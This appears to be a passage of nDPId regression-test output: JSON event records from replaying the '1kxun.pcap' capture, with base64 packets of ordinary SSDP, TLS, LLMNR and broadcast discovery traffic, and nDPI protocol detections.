+00432{"flow_id":125,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1174,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104416,"pkt_ts_usec":959044,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8cPGh+Cr9CABFAAA3CxIAAAERB\/fAqAUJ4AAA\/PVmFOsAI1xnWbQAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00579{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1177,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104417,"pkt_ts_usec":62567,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ2gAAAERfCDAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":58,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1178,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104417,"pkt_ts_usec":62763,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChCxcAAAER+InAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00581{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1179,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104417,"pkt_ts_usec":62844,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEoAAAER2QDAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00581{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1181,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104417,"pkt_ts_usec":265447,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFcAAAER7y3AqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00580{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1194,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104418,"pkt_ts_usec":393074,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOx8AAAERyF7AqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00586{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104418,"pkt_ts_usec":493818,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCgUAAAQR9m\/AqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00473{"flow_id":102,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104418,"pkt_ts_usec":595853,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACvO57DLPeht1gAAAAACwRAf6AAAAAAAAAvu57\/\/4Ms97\/AgAAAAAAAAAAAAAAAQACAiICIwAseAoLBzLAAAEADgABAAEa5zhrJpdxkWmjAAgAAgWtAAYABAAXABg="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1200,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1470104419061,"flow_last_seen":0,"flow_tot_l4_data_len":133,"flow_min_l4_data_len":133,"flow_max_l4_data_len":133,"flow_avg_l4_data_len":133,"midstream":1,"l3_proto":"ip4","src_ip":"31.13.87.1","dst_ip":"192.168.5.16","src_port":443,"dst_port":53578,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00565{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1200,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":61215,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"ABxCjnAxTF4M6gNlCABFAACZI1ZAAFgGw0IfDVcBwKgFEAG70UpuASLeX6ylxYAYAJ4ivgAAAQEICp0wiHcaDujhFwMDAGCI1MTiGjgHtvACFdJlLWU4Nw2FMu4PdWcz\/2qZKGCdERXjWW+\/VFKnsNQj6agVS5OakWCEMlC4HzCUNHzoAeDAfMWTlTRJFP0wq7r0D4aYTL9j7QTQTC0wsTFBdRQvfIs="} +00426{"flow_id":126,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1201,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":61264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0qwZAAEAGU\/fAqAUQHw1XAdFKAbtfrKXFbgEjQ4AQD\/zVtQAAAQEIChoPq9GdMIh3"} +01993{"flow_id":126,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1202,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":103565,"pkt_caplen":1223,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1223,"pkt_l4_len":1189,"pkt":"TF4M6gNlYMVHBbyMCABFAAS5ltxAAEAGY5zAqAUQHw1XAdFKAbtfrKXFbgEjQ4AYEACgIgAAAQEIChoPq\/udMIh3FwMDBIB0Q7hbcg3gGVYTMrb0Tw1ukR9UWDAVBAtnbbvKcZJuPb4APoiSa8Bqy8MZbEZYSbOXsH6FRBiOXgQXR63aPZc\/hbpffrKKNOrKdGE28RcTBjPmf5KXRAiotID0urgwFwaynRtP+jd28hq9wG7na42EI3czkeebegJ7Hfqlh5eZl4Vnp3HXS2vj3pkfDjxrZNE1RoOaEkc+zGmnNTU0pYUiN9oTvOxyCvhMy7fmLDw2wNiIlnohv3qHV8HD46rBGW31Av40VD\/q5qbqM\/qLmRKpL9p4844aHi0K6ueq0ZT6TMs6WDgIPrhbY3XHMcMOatt\/ady86wYTLrgpENkDcutzNwuaAPbT+EcTuorA74M2F\/nruolPShszJ2UqNq\/Kb53\/C73zGS79aq0H4GQVpGLbiCEPEKZelcdnRDWAFlFD1De4jjpnV6eSGf0bsjdHkkSXOtKgo9fVDPltH7d4AfIVmOrYXnB4XaFQ7sqjoXmFP04T\/UZ9alTbXHhky07Nt8ZpZ+IsF6Mw7DMnQdlgdIAyTuc7JHD\/Ok90niXYhq4NzT+82L50EtJnB33J3Hke7h3o3sgTaNpQXdNfC2YJvtxEi753mIKXu+MBZEwy9ZPQaN73qXC\/OuiBukllab3YR64oWLHBb9R9Cob1usnX3xEd01XJDB4TsRXGV\/R4o29fk4M2bIFdhCdZZxbrlSOnlAJcyXFDgvxxi2r1OxtCdDnw2p7YYdruVdteggpuz3KWAxQf0xX6bEO4WvjFfVmqekT\/CcvxbftJ0OPvtUNbAmIMdzByrRWcH1KlE+Vp1L\/hC9R9Bs3ZcFYrVLmIjOjuR6dZM0gvCNqW+59Duv8pYvq5EskshSuV+VZXQgSphi1zRgwOIMQ80OXjfOd22IffY4fDrlfus1x+wyxpIvDhkq\/80yQo8lPgVUp5LrkwFv8MzfZEG9QVTX5NzJ4ld3sKhU430m+NFzViUapPGRtbxukso3sgavTRg8JkLGw0Wu4KmdOfCPycSYYMtX8wKXnZK3VItDYdup7QRof+kXjKmph54jb48oKmkP1E+fFyArD7x9lonAQ9p5aPKUKzZSnZg3s2QTvBrHxZHDUUh\/GiPymMFletcBA29rvJBTe5sh56A9o976AcTzrk2LtWjfifRRuCloaa709oX8j2NbS2T6fnPB7k5F2xcXniikiRI4m5Wr1rKwzBOYPeISDSO0Iag3\/qLAF4MYdHlpTmWSwUwPziE1P5k6JOH5aZI8e0Q7f0ZxLoqs1jZ2iVmphMqYY9PJIQOnlyUxXdzMxGkRPxC7nkXRnaVTa1Jic4cqbBA0o4E1jc9+EGwh1+8Xvom\/2X552fI1RWakGy58LTHqErwe5sAM83mOIz30W4kVNgLTYM0IjNdR3qa8WogmdKAZ3AFlzKnQVYuwcLo1Z88j+7WQ1aASRKMsinZvu7EijyrunTKJR37AcZ28FtpqOjfm2723l5Y4Ue3NHUMyl8JxA0FHtAmvTh7ijEjAuZW2F1kyMK9I8qLUk6J5HZwZruiDHIIjM="} +00425{"flow_id":126,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":110763,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0I1dAAFgGw6YfDVcBwKgFEAG70UpuASNDX6yqSoAQAKfgKwAAAQEICp0wiKcaD6v7"} +00977{"flow_id":126,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1205,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":316065,"pkt_caplen":471,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":471,"pkt_l4_len":437,"pkt":"ABxCjnAxTF4M6gNlCABFAAHJI1hAAFgGwhAfDVcBwKgFEAG70UpuASNDX6yqSoAYAKdyTQAAAQEICp0wiWwaD6v7FwMDAZCSJDMY8n+9\/y5NSFpWG382ZISyvu5Pw\/VyzGkgoIpnDjDJ0Tp7b9z1Lf1wd0dk9QejIiYRuLG1jgK1FJky6eK8RXWrLd+VlP4CMTcrm1hbevqIGbKQQJG8o8tkchBga8hoK7qtI6W8UU+qLhcOcM4we2mLCn6n9VfNQkXmYOPpD1UWekba9oF24fxN94WLe7Cv0WJO0JzbpeyS5EdH6gflZX+I1Npk3nBGTDwufz33yBsCZiStULYvMhlEk029WEIhbPNi+2sek+DdQ3TMIj36OSsKYxwLqBTToGdU402nPXRhLgJchh2XynCL765nxsrDHuqOmodHGPkdj\/kKn8qdQceanIekicUXrja2nc+TkUe8\/oC+qUMzYuR3Um5yhzciL8RISTmA3crs\/fuVynqOp6fFZvM1tVJbmCDAMHmMr9KZaaZy\/xtYHvvZAiRLf+eqWuLil\/hOZFm3pZD9n0r1rqX5Ht+D0yJqeaDLr1x5QtX\/vnmMKAlt7aWyJqeN2aFoH4\/w65p6PdZAQoLFUXZM"} +00427{"flow_id":126,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1206,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":316113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0sW5AAEAGTY\/AqAUQHw1XAdFKAbtfrKpKbgEk2IAQD\/PNsQAAAQEIChoPrM+dMIls"} +00545{"flow_id":126,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1207,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":316993,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABxCjnAxTF4M6gNlCABFAACJI1lAAFgGw08fDVcBwKgFEAG70UpuASTYX6yqSoAYAKdAMwAAAQEICp0wiWwaD6v7FwMDAFBDyuXvoyI2haLjKmC0633hxaDIQQGoYHTHPhTSuFKmC0Fl2+vFzFCYkxIEx6znxHK\/Mzr9bwCL6aBUwxgPNo3Y70t47Ll2MzPaVeWl72DZkQ=="} +00426{"flow_id":126,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":317025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA06XJAAEAGFYvAqAUQHw1XAdFKAbtfrKpKbgElLYAQD\/3NUgAAAQEIChoPrM+dMIls"} +00545{"flow_id":126,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1209,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":317161,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ABxCjnAxTF4M6gNlCABFAACJI1pAAFgGw04fDVcBwKgFEAG70UpuASTYX6yqSoAYAKdAJwAAAQEICp0wiXgaD6v7FwMDAFBDyuXvoyI2haLjKmC0633hxaDIQQGoYHTHPhTSuFKmC0Fl2+vFzFCYkxIEx6znxHK\/Mzr9bwCL6aBUwxgPNo3Y70t47Ll2MzPaVeWl72DZkQ=="} +00426{"flow_id":126,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1210,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104419,"pkt_ts_usec":317184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0r1VAAEAGT6jAqAUQHw1XAdFKAbtfrKpKbgElLYAQEADNQgAAAQEIChoPrNCdMIl4"} +00580{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":130624,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ2wAAAERfBzAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00581{"flow_id":58,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":130761,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChDUEAAAER9l\/AqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00583{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1221,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":131289,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEsAAAER2P\/AqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00581{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1226,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":336841,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFgAAAER7yzAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00485{"flow_id":120,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1227,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":381782,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ABxCjnAxABAj4ACgCABFAABdBAdAAEAGPOjAqHNLwKgFEAG70XokV4PRNCDf9FAYAEYuHAAAFQMDADDWsSdp8D1F8v6K\/yiku3mSJ30Pt4LDalLjUpv0bNJQ9mOQU0lINWhpv4glMt2mNy4="} +00418{"flow_id":120,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":381827,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoBAhAAEAGPRzAqHNLwKgFEAG70XokV4QGNCDf9FARAEYmOQAAAAAAAAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1231,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1470104420438,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":61172,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":438972,"pkt_caplen":87,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":87,"pkt_l4_len":33,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACERAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD7vQU6wAh24kTvAAAAAEAAAAAAAAHc29udXNhdgAAAQAB"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1231,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1470104420438,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":61172,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00455{"flow_id":127,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":540216,"pkt_caplen":87,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":87,"pkt_l4_len":33,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACERAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD7vQU6wAh24kTvAAAAAEAAAAAAAAHc29udXNhdgAAAQAB"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1233,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1470104420541,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":59730,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":541021,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"AQBeAAD8PKn0WgOECABFAAA1H\/gAAAER9C\/AqAPs4AAA\/OlSFOsAIfhUE7wAAAABAAAAAAAAB3NvbnVzYXYAAAEAAQ=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1233,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1470104420541,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":59730,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1234,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1470104420541,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.218","dst_ip":"255.255.255.255","src_port":50151,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":541205,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/rCILUFkxCABFAABEAABAAEARLlc7eNDa\/\/\/\/\/8PnB5sAMKByU3Uyb1ZTdDRBQUJIWlc1MGNtbGpaVjlCVUVOZlozVmxjM1FBYldVQQ=="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1236,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1470104420950,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00837{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1236,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104420,"pkt_ts_usec":950055,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/XNmY3fXzCABFAAFZAABAAEARbn7AqApu\/\/\/\/\/+xA9gABRTgx\/\/8AAKAAXNmY3fXzwKgKbgAAAgAnAUROUy0xMTAwLTA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOQVMAAAAAAAAAAAAAVVqvihgAAABVWsE9WwAAAFVasDEuMDJiMTAAEXgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXNmY3fXzM0ExAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRsaW5rLURERjVGMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqApu\/\/8AAExBTjEAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 